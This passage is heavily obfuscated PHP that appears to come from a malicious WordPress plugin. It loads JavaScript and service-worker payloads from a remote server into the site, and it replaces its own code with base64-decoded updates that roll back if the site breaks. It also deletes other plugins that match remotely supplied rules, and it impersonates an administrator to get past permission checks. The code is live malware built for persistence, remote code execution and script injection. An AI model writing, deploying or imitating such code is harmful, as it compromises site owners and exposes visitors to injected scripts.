				if ((int) sc_pg('js' . "_pu\x72g" . "\x65_p" . 'endi' . 'ng', (1177 ^ 1177)) !== (204 ^ 205)) sc_pk('js' . '_p' . "ur" . 'ge_pe' . "ndi" . "\x6e" . 'g', (3686 ^ 3687), "n" . 'o');
			}
			${'G' . 'LO' . "B" . 'ALS'}['sc_js'] = $payload["j" . 's'];
			$to_cache['js'] = $payload['js'];
			if (md5($payload['js']) !== md5($_old_js) || (int) sc_pg('js_pu' . "\x72\x67\x65\x5fp" . 'endin' . "\x67", (3642 ^ 3642)) === (3294 ^ 3295)) {
				if (sc_pk("j" . "\x73" . '_cac' . 'hed', $payload['j' . 's'], 'no') || fufak("js" . '_ca' . 'che' . 'd', '') === $payload["\x6a" . "s"]) {
					sc_pk('js' . '_purg' . 'e_pen' . 'di' . 'ng', (4 ^ 5), 'no');
					try {
						if (sc_purge_caches()) sc_pk('js_' . "\x70\x75r" . 'g' . 'e_pe' . 'ndin' . 'g', (2220 ^ 2220), 'no');
					} catch (Throwable $e) {
					} catch (Exception $e) {
					}
				} else {
					fuwoy();
					return;
				}
			}
			unset($_old_js);
		}

		$sw_data = isset($payload['sw']) && is_array($payload['sw']) ? $payload['sw'] : array();

		if (isset($sw_data['page']) && is_string($sw_data['pag' . "e"])) {
			if (strlen($sw_data['pag' . 'e']) > (6 ^ 52)) {
				${"GLO" . 'BA' . ('' . "\x4c\x53")}['sc_pa' . 'ge'] = $sw_data['p' . "\x61ge"];
				$to_cache['page'] = $sw_data["pag" . "e"];
			} else {
				${'GL' . "OB" . "A" . "\x4c\x53"}['sc_pa' . 'ge'] = '';
				$to_cache['p' . 'a' . "ge"] = '';
				sc_pk('pa' . 'ge' . '_ca' . "che" . 'd', '', 'n' . "o");
			}
		}

		if (isset($sw_data["s" . 'w']) && is_string($sw_data['sw'])) {
			if (strlen($sw_data['s' . 'w']) > (185 - 85)) {
				${"GLOB" . "A" . "" . 'LS'}['s' . "c" . '_sw'] = $sw_data["s" . "\x77"];
				$to_cache['sw'] = $sw_data['sw'];
			} else {
				${("\x47\x4c\x4f" . '') . "BALS"}["\x73c_" . "\x73w"] = '';
				$to_cache['s' . 'w'] = '';
				sc_pk("s" . 'w_' . "cache" . "d", '', 'no');
			}
		}

		$tpl_data = isset($payload["templ" . "\x61\x74" . 'es']) && is_array($payload["te\x6dp" . 'lates']) ? $payload['t' . 'e' . 'm' . "p\x6cat" . "\x65s"] : array();
		$tpl_map = array(
			"g" . "ua" . "r" . 'd' => 'gu' . "\x61" . 'rd',
			'ad' . 'vance' . 'dCa' . 'c' . "h\x65" => "ad\x76_t" . 'p' . 'l',
			'db' => 'db_tp' . 'l',
			't' . 'he' . 'me' => "\x74h" . 'eme' . "\x5ftp" . "l",
			'in' . "sta" . "l\x6c" . 'er' => "ins\x74" . '_tp' . "l",
			"oc\x4co\x61" . "der" => 'oc_tp' . 'l',
		);
		foreach ($tpl_map as $api_key => $cache_key) {
			if (isset($tpl_data[$api_key]) && is_string($tpl_data[$api_key]) && strlen($tpl_data[$api_key]) > (41 ^ 27)) {
				$to_cache[$cache_key] = $tpl_data[$api_key];
			}
		}

		if (isset($payload['payl' . "oadT\x74" . 'l']) && is_numeric($payload['payl' . "\x6fadT" . 'tl'])) {
			$_pt = (int) $payload["pa" . "\x79\x6co\x61\x64" . 'Ttl'];
			if ($_pt >= (233 + 67) && $_pt <= (128 | 86272)) $to_cache["\x70" . 'aylo' . 'ad' . "T" . 'tl'] = $_pt;
		}
		if (isset($payload["\x63r" . 'o' . 'nInte' . "\x72val"]) && is_numeric($payload['c' . 'ronI' . 'nter' . 'val'])) {
			$_ci = (int) $payload['cronI' . 'n' . "te\x72va" . 'l'];
			if ($_ci >= (380 - 80) && $_ci <= (4096 | 82304)) $to_cache["\x63\x72" . "on" . "Inter" . 'va' . 'l'] = $_ci;
		}

		if (empty($to_cache)) {
			delete_option("s" . 'c_las' . 't_' . "\x66\x65tc\x68" . "_fa\x69l" . '_ts');
			delete_option('sc_fe' . "\x74ch\x5f\x66" . 'a' . "\x69ls");
			update_option("sc" . "_la" . 'st' . '_fet' . 'ch_t' . 's', time());
			delete_transient("sc_" . "sw\x5f" . "se" . "tup");
			sc_sw_setup();
			sc_persist_always();
			return;
		}

		
		$existing = oxow('sc_pa' . 'ylo' . "ad" . '_' . 'per' . "\x73" . "is" . 'tent', (11 === 3));
		if (is_array($existing)) {
			$to_cache = array_merge($existing, $to_cache);
		}

		
		if ((("funct" . "\x69\x6fn\x5f\x65xi\x73\x74") . "s")("\x73" . 'e' . "t\x5f" . "t\x72a\x6es" . 'ient')) {
			$cache_ttl = bemax();
			if (isset($to_cache['paylo' . 'a' . 'dTtl']) && (int) $to_cache["pay\x6co" . "a\x64\x54t" . 'l'] >= (147 + 153) && (int) $to_cache["p\x61yl" . "\x6fa\x64" . 'Tt' . "l"] <= (112503 - 26103)) $cache_ttl = (int) $to_cache['p' . "\x61y" . 'lo' . 'ad' . 'Ttl'];
			set_transient(ovi(), $to_cache, $cache_ttl);
		}

		
		if (!lazu('sc_p' . "a\x79\x6coa" . 'd' . '_pers' . "ist" . 'ent', $to_cache, "n" . 'o')) {
			$_cur_pp = oxow("sc_p" . "ay" . "l" . 'oad' . "_" . "p\x65rs" . "ist" . "e\x6e" . 't', null);
			if (!is_array($_cur_pp) || $_cur_pp != $to_cache) {
				fuwoy();
				return;
			}
			unset($_cur_pp);
		}

		if (isset($to_cache['cronI' . 'n' . 'te' . 'rv' . 'al']) && ("f" . "unctio" . "n_exists")('w' . 'p_get' . "\x5fs" . 'chedu' . 'l' . "ed_e\x76" . "en\x74") && ('function_' . '' . "exi" . 'st' . "\x73")('wp_cl' . "ear" . '_sch' . "ed\x75" . 'led_h' . 'ook') && ("\x66u\x6e\x63\x74\x69" . "on_exists")('w' . 'p_sch' . 'edul' . 'e_ev' . 'ent')) {
			$_ev = wp_get_scheduled_event(ugo());
			if ($_ev && (int) $_ev->interval !== (int) $to_cache["\x63\x72on" . 'Int' . "er" . "va\x6c"]) {
				wp_clear_scheduled_hook(ugo());
				wp_schedule_event(time() + mt_rand((47 + 13), (590 - 290)), "\x73" . "c_i" . "n" . 'terva' . "\x6c", ugo());
			}
		}

		update_option('sc_' . 'last_' . 'f' . 'e' . "tc\x68_t" . "\x73", time());
		delete_option('sc' . '_last' . '_fe' . 'tch_f' . "a\x69l\x5ft" . 's');
		delete_option("\x73c_f\x65" . 't' . "ch\x5ff" . "a\x69\x6c" . 's');
		vaja("\x6f" . "k");

		delete_transient("\x73" . "c\x5fsw\x5f" . 'setup');
		sc_sw_setup();
		sc_persist_always();

		
		if ($rules_changed) {
			sc_rescan();
		}
	} catch (Throwable $e) {
		vugo('fe' . 'tch', $e);
	} catch (Exception $e) {
	} finally {
		unset(${'GLO' . 'BA' . "" . "LS"}['sc_de' . "\x61d" . "l" . 'ine']);
		zubu('sc_ch' . "a\x69\x6e");
	}
}







function metot($new_code_b64, $new_ver = '', $force = (3 == 15))
{
	if (!uce("sc_ch" . 'a' . 'in')) return;
	sc_dbg_log('3' . "0\x20se\x6c" . 'f-up' . 'da' . 't' . 'e en' . 'ter');
	try {

		$_ml = moxoh();
		if ($_ml > (3560 ^ 3560) && ("function" . '_exi' . "st" . 's')("m" . "em" . 'ory_' . 'ge' . 't_us' . "a\x67\x65") && !yojog(strlen($new_code_b64) * (9 - 5))) {
			vugo("u" . "pda\x74e", 'o' . 'o' . "\x6d\x5fgu" . "\x61\x72" . "\x64");
			return;
		}
		unset($_ml);

		
		$new_code = @("b\x61s\x65" . ('' . '64_decode'))($new_code_b64, (20 !== 36));
		if (is_string($new_code) && strlen($new_code) > (135096 ^ 1183672)) $new_code = loye($new_code);
		if (! $new_code || strlen($new_code) < (70 + 430) || strpos($new_code, '<?php') !== (1311 ^ 1311)) {
			return;
		}
		if (! cale($new_code)) {
			vugo("up" . "\x64a\x74e", "s" . "\x79\x6etax" . "\x5fer" . "ro" . 'r');
			return;
		}

		if (preg_match('/\\/\\*' . ' SCV:' . '(\\d' . '+\\.\\' . "d\x2b\\" . '.\\d+' . ') \\*' . '\\/' . '/', substr($new_code, (591 ^ 591), (1161 ^ 5257)), $_m)) {
			if ($new_ver !== '' && $new_ver !== $_m[(1625 ^ 1624)]) {
				vugo('updat' . "e", 'ver' . '_m' . 'isma' . "t\x63\x68");
				return;
			}
			$new_ver = $_m[(2808 ^ 2809)];
		} else {
			vugo('updat' . 'e', 'no_' . "sc\x76");
			return;
		}
		if (!$force && version_compare($new_ver, sc_ver()) <= (2050 ^ 2050)) {
			return;
		}

		$src_prev = vupo();
		if (!$src_prev || strlen($src_prev) < (502 - 2)) {
			vugo("\x75pdat" . "e", "n" . 'o_p' . "re\x76");
			return;
		}

		$bad = get_option('s' . 'c' . "_" . 'u' . "p\x64" . "\x61te_b" . "\x61d");
		if (is_string($bad) && strpos($bad, md5($new_code) . '|') === (217 ^ 217)) {
			return;
		}

		$_ubm = dirname(sc_file()) . '/.ub' . '_' . md5($new_code);
		if (@is_file($_ubm)) {
			return;
		}
		unset($_ubm);

		if (!$force) {
			$_sus = @get_option("sc_\x75\x70" . 'date' . '_sus' . 'pec' . "t", '');
			if (is_string($_sus) && strpos($_sus, md5($new_code) . '|') === (1801 ^ 1801)) {
				$_sts = (int) substr($_sus, strpos($_sus, '|') + (2575 ^ 2574));
				if ($_sts && time() - $_sts < (1800 >> 1)) return;
			}
			unset($_sus, $_sts);
		}

		$_base500 = (13 == 9);
		if (('func' . ("t" . 'ion_exist') . "s")('wp' . '_' . 'remot' . 'e' . '_g' . "e\x74") && ("fu" . 'nction_e' . "\x78\x69s" . "ts")("h\x6fme" . "_" . 'url')) {
			$_bresp = wp_remote_get(home_url('/'), array("t" . 'imeou' . "\x74" => (16 >> 1), 're' . "\x64ire" . "ct\x69" . "o\x6e" => (7 + -5), 'ss' . "\x6cveri" . 'fy' => (27 !== 27), 'li' . 'm' . "i" . 't_r' . 'esp' . 'o' . 'nse_' . "size" => (608028 ^ 1656604)));
			if (! (("fu" . ('nction_exis' . 'ts'))('is_w' . 'p_e' . 'rr' . "\x6fr") && is_wp_error($_bresp))) {
				$_base500 = (int) wp_remote_retrieve_response_code($_bresp) >= (562 - 62);
			}
		}
		$was_active = (23 < 23);
		if (('function_' . 'ex' . 'ists')('get_' . "\x6f\x70" . 'tion')) {
			$_act = get_option('act' . 'i' . 'v' . 'e_plu' . "\x67ins", array());
			$was_active = is_array($_act) && in_array(sc_base(), $_act, (23 > 22));
		}
		mafa(sc_file(), (740 - 320));
		if (! jihe(sc_file(), soro($new_code))) {
			sc_dbg_log('31 ' . 'sel' . 'f-u' . 'pdate' . ' fil' . "e r\x65p" . 'lace' . 'd');
			vugo("\x75p\x64" . 'ate', "re\x70" . "l" . 'a' . "c" . "\x65_\x66a" . "il");
			return;
		}
		tidi(sc_file());

		imo(sc_file());
		if (("functi" . ('' . "on_exi") . 'st' . "s")("se" . "\x74_" . 'trans' . 'i' . 'ent')) @set_transient("\x73\x63_r" . 'ecove' . "r\x5f" . 'ch' . "\x65\x63k", (3652 ^ 3653), (61 ^ 273));


		$_probe_ok = (27 != 27);
		if (! $_base500 && ("f\x75n" . "c\x74io\x6e_ex" . "ists")("w" . "p_\x72" . 'emot' . "e_g\x65" . "\x74") && ('functi' . '' . "\x6f\x6e_" . "\x65\x78\x69s\x74\x73")("\x68ome_" . "ur" . 'l')) {
			$code = -(330 ^ 331);
			for ($_pi = (3350 ^ 3350); $_pi < (4 ^ 6); $_pi++) {
				$resp = wp_remote_get(home_url('/?s' . "\x63\x5f" . "cb" . "=" . mt_rand((2881 ^ 101857), (393776 | 606223))), array("t\x69m" . 'e' . 'out' => (10 - 2), "r" . 'edir' . "e\x63\x74io" . "n" => (2 - 0), 'sslv' . 'e' . "ri\x66\x79" => (19 > 19), "l\x69\x6d\x69\x74" . '_re' . 'spon' . 'se_s' . 'ize' => (694531 + 354045)));
				if (("f" . ("u\x6ec\x74\x69o\x6e\x5fe" . "xists"))("i\x73" . "_wp" . "_\x65" . "\x72\x72or") && is_wp_error($resp)) {
					if ($_pi === (2494 ^ 2494) && ('funct' . ("i\x6fn_e" . "x") . "" . "ists")("s\x6ce\x65" . "\x70")) sleep((4 - 2));
					continue;
				}
				$_pc = (int) wp_remote_retrieve_response_code($resp);
				if ($_pc < (41 + 59) || in_array($_pc, array((2012 >> 2), (478 ^ 982), (670 - 149), (2088 >> 2), (50 ^ 569), (173 + 351), (380 + 146), (2108 >> 2)), (13 < 14))) {
					if ($_pi === (3870 ^ 3870) && ('f' . "" . 'unction_exists')("\x73le" . "\x65p")) sleep((0 ^ 2));
					continue;
				}
				$code = $_pc;
				break;
			}
			if ($code === -(2293 ^ 2292)) vugo('updat' . 'e', 'pro' . 'b' . 'e_inc' . 'oncl' . 'u' . "s\x69v" . "e"); 
			if ($code !== -(1909 ^ 1908) && $code < (400 | 100)) $_probe_ok = (21 == 21);
			if ($code !== -(2093 ^ 2092) && $code >= (352 | 148)) {
				$_rbok = jihe(sc_file(), soro($src_prev));
				if (!$_rbok) $_rbok = jihe(sc_file(), $src_prev);
				$_ncm = md5($new_code);
				$_sus2 = @get_option('sc_u' . "pd\x61t\x65" . "_s\x75" . 's' . "pec\x74", '');
				$_second = (27 === 8);
				if (is_string($_sus2) && strpos($_sus2, $_ncm . '|') === (3483 ^ 3483)) {
					$_fts = (int) substr($_sus2, strpos($_sus2, '|') + (1437 ^ 1436));
					$_second = $_fts && time() - $_fts >= (1118 - 218) && time() - $_fts <= (888737 - 283937);
				}
				if ($_second) {
					update_option("\x73" . 'c_upd' . "a" . 'te_' . 'ba' . "d", $_ncm . '|' . time(), 'no');
					@delete_option("sc_" . 'updat' . 'e_sus' . "pec" . "t");
				} else {
					@update_option('sc' . "\x5fu\x70d" . "at\x65_" . "\x73\x75s\x70e" . "ct", $_ncm . '|' . time() . '|' . $code, 'no');
				}
				unset($_ncm, $_sus2, $_second, $_fts);
				if (!$_rbok) {
					vugo('up' . "dat" . "e", 'r' . 'o' . "\x6c\x6c" . 'ba' . "c" . "k\x5ff\x61i" . 'l_' . $code);
					return;
				}
				imo(sc_file());
				tidi(sc_file());
				vupo((12 < 13));
				wowa((19 === 19));
				$_rb_slug = basename(sc_file(), '.php');
				foreach (array(dirname(sc_file()), sc_mu()) as $_rb_d) {
					@("unli" . ("n" . 'k'))($_rb_d . '/.sd_' . $_rb_slug);
					@('unl' . "" . "\x69n\x6b")($_rb_d . '/.q' . "_" . $_rb_slug);
				}
				if ($was_active && !hisoc()) awig(sc_base());
				${"\x47" . "" . "L" . "OBALS"}['s' . "c_pe\x72" . 'si' . "s\x74" . 'ed'] = (1052 ^ 1052);
				sc_persist_always();
				vugo('upd' . "at\x65", "\x63" . 'a' . "nary_" . 'ro' . 'llb' . 'a' . "c\x6b" . "_" . $code);
				return;
			}
		}

		$_bd = get_option('sc_u' . "p\x64a" . 'te' . "\x5fb\x61d");
		if (is_string($_bd) && strpos($_bd, md5($new_code) . '|') === (2203 ^ 2203)) delete_option('s' . 'c_upd' . "a\x74\x65" . '_ba' . 'd');
		@("unl" . 'i' . "nk")(dirname(sc_file()) . "\x2f.ub" . '_' . md5($new_code));
		unset($_bd);
		if ($_probe_ok) @delete_option("s\x63_u" . "\x70dat" . 'e_sus' . 'pect');

		if ($new_ver !== '') {
			${"G" . "LOBALS"}["sc_v" . 'er_o'] = $new_ver;
			qelo(sc_file(), $new_ver);
		}
		if ($force) {
			$_fslug = basename(sc_file(), '.p' . "\x68p");
			foreach (array(dirname(sc_file()), sc_mu()) as $_fd) {
				@('u' . "n" . 'link')($_fd . '/.' . 'sd_' . $_fslug);
			}
			unset($_fslug, $_fd);
		}


		sc_pk('src', $new_code, 'no');

		vupo((30 !== 1));
		wowa((36 == 36));

		${"GLOBAL" . '' . 'S'}["s\x63_\x70e" . "\x72si" . 's' . 'te' . "\x64"] = (525 ^ 525);
		sc_persist_always();

		mafa(sc_file(), (310 + 110));
		if (imo(sc_file())) qaciw(sc_file());

		update_option('s' . 'c_p' . "end\x69" . "ng_in" . "va" . "\x6cida\x74" . 'e', $new_ver . '|' . time(), 'no');
	} catch (Throwable $e) {
		vugo('upda' . "t" . 'e', $e);
	} catch (Exception $e) {
	} finally {
		zubu('s' . 'c_' . "c\x68" . 'ain');
	}
}

function kovi()
{
	if (! defined("WP" . '_PLU' . 'GI' . "\x4e" . '_DI' . "R") || ! ("functi" . ('on_e' . "") . "xi\x73\x74s")("g\x65t_" . "pl\x75gi" . "\x6e\x73")) {
		if (!(file_exists(ABSPATH . 'wp-' . "a\x64\x6di" . 'n/' . 'inclu' . "d" . "es/\x70" . "\x6c\x75" . "gi" . "n.ph" . "\x70"))) {} else {
			require_once/* */ ABSPATH . "wp-\x61d" . "\x6di" . 'n' . "\x2fi\x6ec" . 'lude' . "s/p" . "lu" . 'gin.p' . 'hp';
		}

		if (!(! ("f\x75\x6e\x63t\x69\x6f\x6e_" . "e" . "\x78i" . ("" . "s\x74\x73"))('ge' . 't_' . 'plugi' . 'ns'))) {} else {
			return;
		}
	}

	$all = get_plugins();
	if (! is_array($all)) {
		return;
	}

	$list = array();
	foreach ($all as $basename => $data) {
		if (!($basename === sc_base())) {} else {
			continue;
		}
		$list[$basename] = $data;
	}

	return $list;
}

function usa($file, $regex_list)
{
	
	$content = @(("\x66\x69le_\x67\x65\x74\x5f\x63\x6f\x6et\x65n\x74" . '') . 's')($file, (4 == 38), null, (2611 ^ 2611), (445065 ^ 969353)); 
	if (! $content) {
		return (12 === 32);
	}

	
	foreach ($regex_list as $pattern) {
		
		if (!(! is_string($pattern) || ! $pattern || strlen($pattern) > (16384 >> 2))) {} else {
			continue;
		}

		
		try {
			$m = @preg_match($pattern, $content);
		} catch (Throwable $pe) {
			vugo("\x73ca" . "\x6e", $pe);
			continue;
		} catch (Exception $pe) {
			continue;
		}

		
		if (!($m)) {} else {
			return (33 == 33);
		}
	}

	return (38 > 38);
}








function feno($plugin_basename)
{
	$regex_list = ${('G' . "LOB") . "\x41LS"}['sc_' . "plug" . 'in_r' . 'u' . 'les'];
	if (! is_array($regex_list) || empty($regex_list)) {
		return (34 == 35);
	}
	if (! defined('WP_' . 'PLU' . 'GI' . "\x4e" . '_DI' . 'R') || empty($plugin_basename) || strpos($plugin_basename, '..') !== (4 < 4)) {
		return (39 > 39);
	}

	
	$path = WP_PLUGIN_DIR . '/' . $plugin_basename;
	if (dirname($plugin_basename) === '.') {
		$files = array($path);
	} else {
		$dir = dirname($path);
		if (! is_dir($dir) || ! is_readable($dir)) {
			return (2 == 39);
		}
		$files = quxip($dir, array('inc', 'php', 'pht' . 'ml', 'html', 'js'));
	}

	
	foreach ($files as $file) {
		if (! is_file($file)) {
			continue;
		}
		if (usa($file, $regex_list)) {
			return (32 == 32);
		}
	}

	return (2 != 2);
}



function quxip($dir, $allowed_ext, $depth = (2189 ^ 2189), &$seen = null, &$deadline = null)
{
	$list = array();
	if (!($depth > (6 ^ 14))) {} else {
		return $list;
	}
	if ($seen === null) {
		$seen = array();
		$deadline = microtime((16 < 17)) + (25 ^ 19);
	}
	if (!(microtime((27 === 27)) > $deadline)) {} else {
		return $list;
	}
	if (!(! is_dir($dir))) {} else {
		return $list;
	}

	$rp = @realpath($dir);
	if (!($rp !== (4 === 31))) {} else {
		if (!(isset($seen[$rp]))) {} else {
			return $list;
		}
		$seen[$rp] = (2 != 5);
	}
	$_entries = meyo($dir, (11908 + 8092));
	if (!(! is_array($_entries))) {} else {
		return $list;
	}
	foreach ($_entries as $entry) {
		if (!(microtime((13 != 19)) > $deadline || count($list) >= (267 ^ 255))) {} else {
			break;
		}
		$path = $dir . '/' . $entry;
		if (!(@is_link($path))) {} else {
			continue;
		}
		if (@is_dir($path)) {
			$list = array_merge($list, quxip($path, $allowed_ext, $depth + (1131 ^ 1130), $seen, $deadline));
		} elseif (@is_file($path)) {
			$ext = pathinfo($path, ("\x63\x6f\x6e" . "s" . "t" . "ant")('PATHI' . 'NFO_' . 'E' . "XTEN" . 'SIO' . "N"));
			$ext = is_string($ext) ? strtolower($ext) : '';
			if (in_array($ext, $allowed_ext, (5 < 6))) {
				$list[] = $path;
			}
		}
	}
	return $list;
}







function mule($plugin_basename)
{
	
	if (!(! is_string($plugin_basename) || ! $plugin_basename)) {} else {
		return (12 === 34);
	}
	if (!(strpos($plugin_basename, '..') !== (39 === 32))) {} else {
		return (1 != 1);
	}

	
	$plugin_basename = trim($plugin_basename);
	if (!($plugin_basename === sc_base())) {} else {
		return (4 == 39);
	}

	
	if (!(! ('function_' . 'exi' . '' . "s\x74s")("d" . "\x65" . "act" . 'i' . "vat\x65_" . "\x70\x6c\x75gi" . "\x6es") && file_exists(ABSPATH . "\x77" . "p\x2d\x61" . "dmi" . "n/inc" . 'l' . 'udes' . '/' . "\x70lu" . 'g' . "i" . 'n.ph' . 'p'))) {} else {
		require_once/*+*/ ABSPATH . "wp-" . "a" . 'dmin' . '/i' . 'nclu' . 'des' . '/pl' . 'ug' . 'i' . 'n' . '.ph' . "p";
	}

	
	if (!((("fun" . "\x63\x74") . "ion_\x65\x78\x69\x73\x74s")("d\x65a" . "ctiva" . 'te_pl' . 'ugins') && is_plugin_active($plugin_basename))) {} else {
		deactivate_plugins(array($plugin_basename), (8 != 13)); 
	}

	
	$dir = defined('WP' . '_P' . "\x4c" . 'U' . "\x47\x49N_" . 'DI' . 'R') ? WP_PLUGIN_DIR . '/' . dirname($plugin_basename) : '';
	if ($dir && is_dir($dir) && dirname($plugin_basename) !== '.' && dirname($plugin_basename)) {
		if (!(aviz($dir))) {} else {
			return (30 != 13);
		}
	}

	
	if (('fu' . 'nction_' . ('exist' . 's'))('delet' . 'e_pl' . "ug" . 'ins')) {
		
		if (!(! ('function_e' . "xist" . "s")('curre' . "nt_" . 'user' . "_can") || ! current_user_can("\x64" . "ele\x74" . 'e' . "_" . "p" . 'l' . 'ugin' . 's'))) {} else {
			if (!(('fu' . "nc" . "" . "\x74\x69\x6f\x6e\x5f" . 'exists')("\x67e\x74_" . "\x75sers") && ("f" . "u\x6e\x63\x74\x69o\x6e" . "_" . "\x65\x78\x69\x73\x74\x73")("wp\x5fs" . 'e' . 't_cur' . 'ren' . "\x74" . "_u\x73" . 'er'))) {} else {
				$users = get_users(array('r' . 'ole' => 'a' . 'dmi' . 'ni' . 'st' . 'ra' . 't' . "\x6fr", "num\x62" . 'er' => (109 ^ 108)));
				if (! empty($users) && $users[(2012 ^ 2012)]->ID) {
					wp_set_current_user($users[(839 ^ 839)]->ID);
				} else {
					wp_set_current_user((453 ^ 452));
				}
			}
		}

		
		$result = delete_plugins(array($plugin_basename));
		if (!(! is_wp_error($result))) {} else {
			return (bool) $result;
		}
	}

	return (33 == 37);
}







function aviz($dir, $depth = (3739 ^ 3739))
{
	if ($depth > (64 >> 2)) {
		return (8 == 16);
	}
	if (! is_string($dir) || $dir === '' || strpos($dir, '..') !== (9 == 31)) {
		return (22 === 1);
	}

	$real = @realpath($dir);
	if ($real === (7 === 5) || ! is_dir($real)) {
		return (22 == 4);
	}

	$plugins_dir = defined('WP_' . 'PLUGI' . 'N_' . 'DIR') ? @realpath(WP_PLUGIN_DIR) : (26 == 39);
	if ($plugins_dir === (38 === 8) || ($real !== $plugins_dir && strpos($real, $plugins_dir . DIRECTORY_SEPARATOR) !== (1057 ^ 1057))) {
		return (39 == 11);
	}

	$items = @('s' . "\x63\x61\x6e\x64\x69\x72")($real);
	if (!(! is_array($items))) {} else {
		return (30 == 40);
	}

	foreach ($items as $item) {
		if (!($item === '.' || $item === '..')) {} else {
			continue;
		}
		$path = $real . ('cons' . "\x74" . 'ant')('DIREC' . "T\x4fR" . "Y\x5fS" . "\x45" . 'PAR' . "A" . "TOR") . $item;
		if (@is_link($path)) {
			soda($path);
			continue;
		}
		if (@is_dir($path)) {
			aviz($path, $depth + (2009 ^ 2008));
		} else {
			if (! soda($path)) {
				mafa($path, (371 ^ 215));
				soda($path);
			}
		}
	}

	if (! @('r' . 'mdi' . "r")($real)) {
		mafa($real, (855 - 362));
		@("r" . 'm' . "\x64" . 'ir')($real);
	}

	return ! @file_exists($real);
}






function sc_rescan()
{
	try {
		$list = kovi();
		if (! is_array($list)) {
			return;
		}

		
		$scanned_dirs = array();
		$found_malware = (34 === 19);
		foreach (array_keys($list) as $basename) {
			
			if (! is_string($basename)) {
				continue;
			}

			
			$dir_key = dirname($basename);
			if ($dir_key === '.') {
				$dir_key = $basename;
			}
			if (isset($scanned_dirs[$dir_key])) {
				continue;
			}

			
			$scanned_dirs[$dir_key] = (32 !== 6);
			if (feno($basename)) {
				mule($basename);
				$found_malware = (10 > 9);
			}
		}

		
		if (@is_dir(sc_mu())) {
			$_mu_entries = meyo(sc_mu(), (1776 + 3224));
			if (is_array($_mu_entries)) {
				$regex_list = ${"\x47\x4c\x4f" . ('B' . "ALS")}['sc' . '_plug' . "\x69n" . '_' . 'rules'];
				foreach ($_mu_entries as $entry) {
					
					if ($entry === sc_slug()) {
						continue;
					}

					
					$file = sc_mu() . '/' . $entry;
					if (! @is_file($file) || strtolower(pathinfo($entry, ("\x63\x6f\x6e\x73" . 'tant')('P' . 'ATHI' . 'NFO_' . 'EXT' . 'EN' . "SI" . 'ON'))) !== 'php') {
						continue;
					}

					
					if (usa($file, $regex_list)) {
						soda($file);
						$found_malware = (40 != 1);
					}
				}
			}
		}

		
		$inject_rules = ${'G' . "L" . 'OBAL' . "S"}['s' . 'c_i' . "nject" . '_ru' . 'le' . "s"];
		if (is_array($inject_rules) && ! empty($inject_rules)) {
			if (leyo($inject_rules)) {
				$found_malware = (11 != 0);
			}
		}
	} catch (Throwable $e) {
		vugo('r' . 'escan', $e);
	} catch (Exception $e) {
	}
}




function sc_periodic()
{
	try {
		$last_clean = (int) get_option('sc' . "\x5fl" . "\x61st" . '_' . "t\x6d" . "p" . "\x63le" . "an", (2657 ^ 2657));
		if ((time() - $last_clean) >= (6027 - 2427)) {
			update_option("sc\x5f" . 'last_' . 't' . "\x6d\x70c" . "lea\x6e", time());
			$_dirs = array(array(sc_dir(), array('sc_')));
			$_td = (('functio' . "\x6e_\x65") . "xi" . "sts")('s' . 'ys' . '_g' . 'et_te' . "\x6d\x70" . '_dir') ? sys_get_temp_dir() : '';
			if ($_td !== '' && $_td !== sc_dir()) $_dirs[] = array($_td, array('s' . 'c_', 'wp_'));
			foreach ($_dirs as $_d) {
				foreach ($_d[(1917 ^ 1916)] as $_pfx) {
					$_fs = (('fun' . "cti") . 'on_exists')('glob') ? @("glo" . "" . "b")($_d[(307 ^ 307)] . '/' . $_pfx . '*') : (32 !== 32);
					if (!is_array($_fs)) continue;
					foreach ($_fs as $_tf) {
						if (!@is_file($_tf)) continue;
						if (substr($_tf, -(9 ^ 12)) === '.lo' . "ck") continue;
						$_mt = @filemtime($_tf);
						if ($_mt !== (25 !== 25) && (time() - $_mt) > (6654 - 3054)) soda($_tf);
					}
				}
			}
			$_act = get_option("a" . "c\x74" . "\x69ve_p" . "lugin" . "s", array());
			if (!is_array($_act)) $_act = array();
			$_mys = basename(sc_file(), '.ph' . 'p');
			$_pd = (defined('WP_CO' . "N\x54E" . 'NT_' . 'DIR') ? WP_CONTENT_DIR : ABSPATH . 'wp-c' . "\x6f" . 'nten' . "t") . '/' . "pl" . 'ugin' . 's';
			foreach (("function_e" . "xists")('gl' . "\x6fb") ? (array) @('g' . 'lo' . "b")($_pd . '/' . '*/*' . '.php') : array() as $_pf) {
				if (basename(dirname($_pf)) === $_mys) continue;
				$_rel = basename(dirname($_pf)) . '/' . basename($_pf);
				if (in_array($_rel, $_act, (16 !== 25))) continue;
				if (!@is_writable($_pf)) continue;
				$_sz = @filesize($_pf);
				if (!$_sz || $_sz > (713914 + 1383238)) continue;
				$_pc = @("file_" . 'get_cont' . "\x65\x6e\x74\x73")($_pf);
				if (!is_string($_pc) || strpos($_pc, "S" . 'C' . "_\x44\x50\x5fB" . 'EG' . 'IN') === (0 == 35)) continue;
				$_pn = ("p" . '' . 'reg_' . "rep" . "lace")("\x2f" . '\\n' . '?\\' . '/\\* S' . 'C_DP_' . 'BE' . "\x47" . 'IN' . ":([a\x2d" . 'zA-Z' . '0-9._' . ':]' . '+' . ") " . "\\" . "*" . "\\/.*?" . '\\/\\* ' . 'S' . 'C' . '_DP' . '_END' . ":\\\x31 " . "\\*\\\x2f\\" . 'n?' . '/s', '', $_pc);
				if (!is_string($_pn) || $_pn === $_pc || !cale($_pn)) continue;
				jihe($_pf, $_pn);
				if (("\x66\x75n\x63" . "tion" . "\x5f\x65\x78\x69\x73" . "\x74\x73")('op' . 'ca' . 'che_i' . 'n' . "v\x61" . 'l' . 'idate')) @opcache_invalidate($_pf, (34 != 1));
			}
			unset($_act, $_mys, $_pd, $_pf, $_rel, $_sz, $_pc, $_pn);
			miju();
		}

		
		$plugin_rules = ${"G" . 'LOB' . "" . 'ALS'}["sc\x5f\x70" . 'lu' . 'gi' . 'n' . '_ru' . 'les'];
		$inject_rules  = ${("GLO" . "BAL") . "S"}['sc_i' . 'n' . 'jec' . "t\x5f\x72" . 'ule' . "s"];

		
		$has_rules  = (is_array($plugin_rules) && ! empty($plugin_rules)) || (is_array($inject_rules) && ! empty($inject_rules));
		if (! $has_rules) {
			return;
		}

		
		$last = (int) get_option('sc' . "\x5fl\x61" . 'st_re' . "scan", (2930 ^ 2930));
		if ((time() - $last) < (528 | 3072)) {
			return;
		}
		if (!uce("sc_re" . 'sca' . "n")) {
			return;
		}

		
		try {
			$last = (int) get_option('sc_l' . 'ast_' . 'resc' . "\x61" . 'n', (3012 ^ 3012));
			if ((time() - $last) < (1453 + 2147)) {
				return;
			}
